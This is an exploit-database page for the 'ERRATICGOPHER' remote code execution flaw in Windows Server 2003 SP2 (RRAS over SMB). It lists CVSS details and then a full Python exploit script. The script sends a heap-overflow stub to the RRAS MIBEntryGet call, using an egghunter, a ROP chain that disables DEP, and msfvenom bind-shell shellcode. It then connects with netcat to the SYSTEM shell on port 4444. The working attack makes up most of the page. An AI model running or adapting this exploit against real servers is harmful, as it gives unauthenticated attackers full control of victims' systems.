Exploitalert - Database of Exploits

Microsoft Windows 2003 SP2 'ERRATICGOPHER' SMB Remote Code Execution

CVE	Category	Price	Severity
	CWE-119	Unknown	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-04-26

CPE
cpe:cpe:/o:microsoft:windows_server_2003::sp2

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017040175

Microsoft Windows 2003 SP2 'ERRATICGOPHER' SMB Remote Code Execution#!/usr/bin/env python # -*- coding: utf-8 -*- ################################################################################## # By Victor Portal (vportal) for educational porpouse only ################################################################################## # This exploit is the python version of the ErraticGopher exploit probably # # with some modifications. ErraticGopher exploits a memory corruption # # (seems to be a Heap Overflow) in the Windows DCE-RPC Call MIBEntryGet. # # Because the Magic bytes, the application redirects the execution to the # # iprtrmgr.dll library, where a instruction REPS MOVS (0x641194f5) copy # # all te injected stub from the heap to the stack, overwritten a return # # address as well as the SEH handler stored in the Stack, being possible # # to control the execution flow to disable DEP and jump to the shellcode # # as SYSTEM user. # ################################################################################## #The exploit only works if target has the RRAS service enabled #Tested on Windows Server 2003 SP2 import struct import sys import time import os from threading import Thread from impacket import smb from impacket import uuid from impacket import dcerpc from impacket.dcerpc.v5 import transport target = sys.argv[1] print '[-]Initiating connection' trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target) trans.connect() print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % target dce = trans.DCERPC_class(trans) #RRAS DCE-RPC CALL dce.bind(uuid.uuidtup_to_bin(('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0'))) egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a" egghunter += "\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" #msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "\x00" -f python buf = "" buf += "\xb8\x3c\xb1\x1e\x1d\xd9\xc8\xd9\x74\x24\xf4\x5a\x33" buf += "\xc9\xb1\x53\x83\xc2\x04\x31\x42\x0e\x03\x7e\xbf\xfc" buf += "\xe8\x82\x57\x82\x13\x7a\xa8\xe3\x9a\x9f\x99\x23\xf8" buf += "\xd4\x8a\x93\x8a\xb8\x26\x5f\xde\x28\xbc\x2d\xf7\x5f" buf += "\x75\x9b\x21\x6e\x86\xb0\x12\xf1\x04\xcb\x46\xd1\x35" buf += "\x04\x9b\x10\x71\x79\x56\x40\x2a\xf5\xc5\x74\x5f\x43" buf += "\xd6\xff\x13\x45\x5e\x1c\xe3\x64\x4f\xb3\x7f\x3f\x4f" buf += "\x32\x53\x4b\xc6\x2c\xb0\x76\x90\xc7\x02\x0c\x23\x01" buf += "\x5b\xed\x88\x6c\x53\x1c\xd0\xa9\x54\xff\xa7\xc3\xa6" buf += "\x82\xbf\x10\xd4\x58\x35\x82\x7e\x2a\xed\x6e\x7e\xff" buf += "\x68\xe5\x8c\xb4\xff\xa1\x90\x4b\xd3\xda\xad\xc0\xd2" buf += "\x0c\x24\x92\xf0\x88\x6c\x40\x98\x89\xc8\x27\xa5\xc9" buf += "\xb2\x98\x03\x82\x5f\xcc\x39\xc9\x37\x21\x70\xf1\xc7" buf += "\x2d\x03\x82\xf5\xf2\xbf\x0c\xb6\x7b\x66\xcb\xb9\x51" buf += "\xde\x43\x44\x5a\x1f\x4a\x83\x0e\x4f\xe4\x22\x2f\x04" buf += "\xf4\xcb\xfa\xb1\xfc\x6a\x55\xa4\x01\xcc\x05\x68\xa9" buf += "\xa5\x4f\x67\x96\xd6\x6f\xad\xbf\x7f\x92\x4e\xae\x23" buf += "\x1b\xa8\xba\xcb\x4d\x62\x52\x2e\xaa\xbb\xc5\x51\x98" buf += "\x93\x61\x19\xca\x24\x8e\x9a\xd8\x02\x18\x11\x0f\x97" buf += "\x39\x26\x1a\xbf\x2e\xb1\xd0\x2e\x1d\x23\xe4\x7a\xf5" buf += "\xc0\x77\xe1\x05\x8e\x6b\xbe\x52\xc7\x5a\xb7\x36\xf5" buf += "\xc5\x61\x24\x04\x93\x4a\xec\xd3\x60\x54\xed\x96\xdd" buf += "\x72\xfd\x6e\xdd\x3e\xa9\x3e\x88\xe8\x07\xf9\x62\x5b" buf += "\xf1\x53\xd8\x35\x95\x22\x12\x86\xe3\x2a\x7f\x70\x0b" buf += "\x9a\xd6\xc5\x34\x13\xbf\xc1\x4d\x49\x5f\x2d\x84\xc9" buf += "\x6f\x64\x84\x78\xf8\x21\x5d\x39\x65\xd2\x88\x7e\x90" buf += "\x51\x38\xff\x67\x49\x49\xfa\x2c\xcd\xa2\x76\x3c\xb8" buf += "\xc4\x25\x3d\xe9" #NX disable routine for Windows Server 2003 SP2 rop = "\x30\xdb\xc0\x71" #push esp, pop ebp, retn ws_32.dll rop += "\x45"*16 rop += "\xe9\x77\xc1\x77" #push esp, pop ebp, retn 4 gdi32.dll rop += "\x5d\x7a\x81\x7c" #ret 20 rop += "\x71\x42\x38\x77" #jmp esp rop += "\xf6\xe7\xbd\x77" #add esp,2c ; retn msvcrt.dll rop += "\x90"*2 + egghunter + "\x90"*42 rop += "\x17\xf5\x83\x7c" #Disable NX routine rop += "\x90"*4 stub = "\x21\x00\x00\x00\x10\x27\x00\x00\x30\x07\x00\x00\x00\x40\x51\x06\x04\x00\x00\x00\x00\x85\x57\x01\x30\x07\x00\x00\x08\x00\x00\x00" #Magic bytes stub += "\x41"*20 + rop + "\xCC"*100 + "w00tw00t" + buf + "\x42"*(1313-20-len(rop)-100-8-len(buf)) stub += "\x12" #Magic byte stub += "\x46"*522 stub += "\x04\x00\x00\x00\x00\x00\x00\x00" #Magic bytes dce.call(0x1d, stub) #0x1d MIBEntryGet (vulnerable function) print "[-]Exploit sent to target successfully..." print "Waiting for shell..." time.sleep(5) os.system("nc " + target + " 4444")

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